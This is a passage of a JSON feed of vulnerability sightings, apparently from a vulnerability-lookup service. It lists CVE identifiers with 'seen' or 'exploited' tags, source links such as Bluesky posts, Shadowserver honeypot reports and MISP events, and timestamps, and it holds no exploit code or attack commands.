"CVE-2024-12905", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lnj3pgywua2c", "content": "", "creation_timestamp": "2025-04-23T21:02:24.223548Z"}, {"uuid": "9f9dca81-2240-4139-b0c9-fe0480dfa7eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12244", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnkenu6u332g", "content": "", "creation_timestamp": "2025-04-24T09:15:12.524966Z"}, {"uuid": "e03e411a-5ca5-4f0a-aeb6-7d0c22af3d13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12827", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsliqczg7m2a", "content": "", "creation_timestamp": "2025-06-27T11:06:47.871631Z"}, {"uuid": "24995f33-21ac-4092-bcdb-d144c90506ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-23)", "content": "", "creation_timestamp": "2025-04-23T00:00:00.000000Z"}, {"uuid": "5a7b0e47-a998-48a4-8ad2-3f4ea3ce953f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/ndouglas-cloudsmith/686c24676d9281ea13827f50230bb60b", "content": "", "creation_timestamp": "2025-06-17T11:41:04.000000Z"}, {"uuid": "254ef599-b957-4ace-8c4d-ed33757fab16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-24)", "content": "", "creation_timestamp": "2025-04-24T00:00:00.000000Z"}, {"uuid": "469c1dd9-c121-4b0e-af4f-8ebe4bef3c65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/cecallihelper.bsky.social/post/3lpevytnwg22y", "content": "", "creation_timestamp": "2025-05-17T16:00:05.520054Z"}, {"uuid": "b170de38-f024-420d-8e13-1043a1af1f6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1244", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrcnthzptu2a", "content": "", "creation_timestamp": "2025-06-11T05:18:53.075688Z"}, {"uuid": "c3fe6d1b-0465-48c7-97b6-d4941006ea28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1243", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrcplnttgq2q", "content": "", "creation_timestamp": "2025-06-11T05:50:18.205601Z"}, {"uuid": "04df9f7c-66a6-4ad9-aaed-5d5170fb5c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12706", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnvqh4moq42v", "content": "", "creation_timestamp": "2025-04-28T21:45:31.162397Z"}, {"uuid": "39ca6dcd-6234-4039-89bc-b226fb907300", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12273", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnwsbuim6r2d", "content": "", "creation_timestamp": "2025-04-29T07:51:00.304790Z"}, {"uuid": "81236b66-7fe8-4460-a141-cfadf7837149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-28)", "content": "", "creation_timestamp": "2025-04-28T00:00:00.000000Z"}, {"uuid": "1e510bb6-4092-47da-948b-a044f9fd1b27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12150", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsmeubyswu2i", "content": "", "creation_timestamp": "2025-06-27T19:30:06.885508Z"}, {"uuid": "0da7496e-6902-4a1b-89e5-90881fd21560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12143", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsmf5b5apl2m", "content": "", "creation_timestamp": "2025-06-27T19:35:07.621729Z"}, {"uuid": "feac696e-8302-487b-b515-a187c400462b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12364", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsmfp62vqt2u", "content": "", "creation_timestamp": "2025-06-27T19:45:08.066695Z"}, {"uuid": "96cc2502-1164-4407-bd0c-fa226ad09486", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-29)", "content": "", "creation_timestamp": "2025-04-29T00:00:00.000000Z"}, {"uuid": "fb319c2c-eade-4b78-ad6d-7a09eabaf1a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-30)", "content": "", "creation_timestamp": "2025-06-30T00:00:00.000000Z"}, {"uuid": "056f05b3-9815-451c-8f72-2dcb0c0b26be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-13)", "content": "", "creation_timestamp": "2025-07-13T00:00:00.000000Z"}, {"uuid": "5f20222e-6d26-4e16-87f4-1604d8fc463a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3lr6pff6tct2b", "content": "", "creation_timestamp": "2025-06-09T15:36:09.048155Z"}, {"uuid": "7b855645-24bf-4125-af01-95baf2d09959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-30)", "content": "", "creation_timestamp": "2025-04-30T00:00:00.000000Z"}, {"uuid": "e8ce3637-78c8-44e4-b248-0ba506a5ca90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-01)", "content": "", "creation_timestamp": "2025-05-01T00:00:00.000000Z"}, {"uuid": "79ba33ff-7d22-495a-a2d5-2edf8159d405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-01)", "content": "", "creation_timestamp": "2025-05-01T00:00:00.000000Z"}, {"uuid": "0d2bd964-1750-4231-aee5-b8f5779fb12b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-01)", "content": "", "creation_timestamp": "2025-05-01T00:00:00.000000Z"}, {"uuid": "89d7357c-f69d-4ce5-aff6-1d612e2b40af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-02)", "content": "", "creation_timestamp": "2025-05-02T00:00:00.000000Z"}, {"uuid": "d69aef5d-8882-447a-819b-97054aac91b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-02)", "content": "", "creation_timestamp": "2025-05-02T00:00:00.000000Z"}, {"uuid": "6b11a539-7fce-4d34-a996-e5da67da9752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f", "content": "", "creation_timestamp": "2025-06-03T13:20:14.000000Z"}, {"uuid": "b0c1119d-ef74-4bed-b7bd-66fafe41ceba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-03)", "content": "", "creation_timestamp": "2025-05-03T00:00:00.000000Z"}, {"uuid": "d7e63e63-a4c7-46b1-8a7c-5dcf068eca9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqphcvqawfy2", "content": "", "creation_timestamp": "2025-06-03T14:03:10.739318Z"}, {"uuid": "c444723c-1822-45fe-a01a-02735b9ad6c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-04)", "content": "", "creation_timestamp": "2025-05-04T00:00:00.000000Z"}, {"uuid": "32aac317-79e9-4e31-881a-d208759f760c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-04)", "content": "", "creation_timestamp": "2025-05-04T00:00:00.000000Z"}, {"uuid": "b560ee55-89ef-4c17-8b0e-114cf26ce03f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-04)", "content": "", "creation_timestamp": "2025-05-04T00:00:00.000000Z"}, {"uuid": "7fa0ec4e-a8ad-4018-bdc4-bcfd363ab22e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12224", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqe7grq375t2", "content": "", "creation_timestamp": "2025-05-30T02:41:30.695955Z"}, {"uuid": "b49a678d-28eb-494a-b516-55e056ea30c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-05)", "content": "", "creation_timestamp": "2025-05-05T00:00:00.000000Z"}, {"uuid": "f87503d8-d200-4b44-95b0-8cd697f738e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12225", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lojwinmu3w22", "content": "", "creation_timestamp": "2025-05-06T22:26:58.944470Z"}, {"uuid": "f8b5546e-8ad3-4781-a61e-5aa700c52d0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12120", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lokwih4arzl2", "content": "", "creation_timestamp": "2025-05-07T08:03:25.038236Z"}, {"uuid": "75c8f326-4456-4495-af91-9a52894e7763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-06)", "content": "", "creation_timestamp": "2025-05-06T00:00:00.000000Z"}, {"uuid": "d641d628-76fa-4560-8644-8df00b099dbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-06)", "content": "", "creation_timestamp": "2025-05-06T00:00:00.000000Z"}, {"uuid": "1631af5b-8c5e-471b-a6b2-444190734021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://thehackernews.com/2025/07/rondodox-botnet-exploits-flaws-in-tbk.html", "content": "", "creation_timestamp": "2025-07-08T09:08:00.000000Z"}, {"uuid": "82645050-1c5b-44d2-9d22-61afd0da44ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12224", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqeknad7p627", "content": "", "creation_timestamp": "2025-05-30T06:01:50.288079Z"}, {"uuid": "241aacef-f3a7-481d-923c-426f160e88b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114473917814422357", "content": "", "creation_timestamp": "2025-05-08T19:42:45.777311Z"}, {"uuid": "e23e1364-3005-46fd-9bfe-8c63ab5c26eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3looojrybeyy2", "content": "", "creation_timestamp": "2025-05-08T19:48:24.926984Z"}, {"uuid": "fccb8618-d748-4572-afa7-984e04698805", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12442", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loqmlxvecis2", "content": "", "creation_timestamp": "2025-05-09T15:07:35.704146Z"}, {"uuid": "45cd8887-2105-4d17-a7be-06b0ad03416d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3lr7ty5hzkk2w", "content": "", "creation_timestamp": "2025-06-10T02:30:57.719323Z"}, {"uuid": "b8ed0c5e-a31c-499f-b390-55a2282ccba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-15)", "content": "", "creation_timestamp": "2025-06-15T00:00:00.000000Z"}, {"uuid": "cf137e1f-95f5-45ae-8488-217ed37a25de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12533", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp2rlp3ficr2", "content": "", "creation_timestamp": "2025-05-13T15:31:06.059999Z"}, {"uuid": "0602694e-38b0-42ce-a16f-d07046ea6540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114789871733423915", "content": "", "creation_timestamp": "2025-07-03T14:54:00.430360Z"}, {"uuid": "4226e82b-fc13-4835-bb38-f90048a50b8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lpujox2lqx24", "content": "", "creation_timestamp": "2025-05-23T21:02:25.629589Z"}, {"uuid": "a4ac5a6d-8c63-47ae-bbb3-9324767af423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lqzhfgxkqk27", "content": "", "creation_timestamp": "2025-06-07T13:29:44.449170Z"}, {"uuid": "8d3b1126-bab5-41ac-b10b-b500f07cd493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lp5gby2zat2z", "content": "", "creation_timestamp": "2025-05-14T16:30:09.011662Z"}, {"uuid": "68d367e3-00c6-4598-8560-2cccb390055a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lpa24buegp2a", "content": "", "creation_timestamp": "2025-05-15T17:30:11.713272Z"}, {"uuid": "229cc163-6592-4f8d-91ba-2fd200492989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lpa2xf52vt2x", "content": "", "creation_timestamp": "2025-05-15T17:45:20.587863Z"}, {"uuid": "ddb61797-85f2-49a1-a56d-f6f73d865680", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/4016556", "content": "", "creation_timestamp": "2025-05-15T18:36:31.971483Z"}, {"uuid": "ab0520fb-e444-4ba0-9b6c-24f614e7013f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lpad65fwr222", "content": "", "creation_timestamp": "2025-05-15T20:12:19.029989Z"}, {"uuid": "022f761c-8910-494c-bbde-f7e218103282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lpagkmi5ci2b", "content": "", "creation_timestamp": "2025-05-15T21:12:57.431673Z"}, {"uuid": "49c51bda-4284-4e1b-a97d-30d614027703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-27)", "content": "", "creation_timestamp": "2025-10-27T00:00:00.000000Z"}, {"uuid": "9c0b05cb-0752-419b-bae3-5b235261a8bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-19)", "content": "", "creation_timestamp": "2025-09-19T00:00:00.000000Z"}, {"uuid": "68c017ee-194f-487e-9be5-bd1f829d2d09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-16T23:16:38.000000Z"}, {"uuid": "b7f0c8bb-1a23-4d01-bb3a-c27bc203ad55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-18)", "content": "", "creation_timestamp": "2025-10-18T00:00:00.000000Z"}, {"uuid": "3aad9217-a650-4a18-ba2d-ab67352058b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-01)", "content": "", "creation_timestamp": "2025-10-01T00:00:00.000000Z"}, {"uuid": "a1dda458-95cb-4885-9a40-a59e8240e216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12294", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-16T23:16:38.000000Z"}, {"uuid": "dd52f030-15cf-4fa9-9a0a-65acdab126cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12325", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-16T23:16:38.000000Z"}, {"uuid": "ecca2ccd-be94-48d7-ba9f-d32522542ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-16T23:16:38.000000Z"}, {"uuid": "b2b26b55-8a8a-4c05-ab3b-d2a4372d4f65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-21)", "content": "", "creation_timestamp": "2025-10-21T00:00:00.000000Z"}, {"uuid": "2ebcfcd4-c320-4d38-b5d3-bcb8491cb6e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "827d696c-27cc-43f0-b849-46c278011a01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "205c92f7-55c6-4afa-b45a-0297b6fe73bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "72eb1277-1304-46d2-bc00-fb5d31b70c6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-25)", "content": "", "creation_timestamp": "2025-10-25T00:00:00.000000Z"}, {"uuid": "4413f280-3525-4c59-a139-c22a7c1b131f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12310", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lunct6brw32o", "content": "", "creation_timestamp": "2025-07-23T15:16:44.127438Z"}, {"uuid": "079c80d6-649b-433a-a8b9-9858c851e776", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12986", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lunw55iklk2x", "content": "", "creation_timestamp": "2025-07-23T21:02:26.145078Z"}, {"uuid": "d7894cc2-58e3-44ff-867f-395706b92082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-13)", "content": "", "creation_timestamp": "2025-10-13T00:00:00.000000Z"}, {"uuid": "69c8deee-638d-456f-b689-9d5ce40f7a08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3lupievbyrh2y", "content": "", "creation_timestamp": "2025-07-24T12:01:27.213869Z"}, {"uuid": "fbd7cd5c-0f91-4c4c-a5f9-1c318a117ace", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-29)", "content": "", "creation_timestamp": "2025-10-29T00:00:00.000000Z"}, {"uuid": "7e45c0d2-7b12-4dd8-94e9-934dea8744ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "11c1f847-bafc-4f6b-be8d-162c2d17db13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 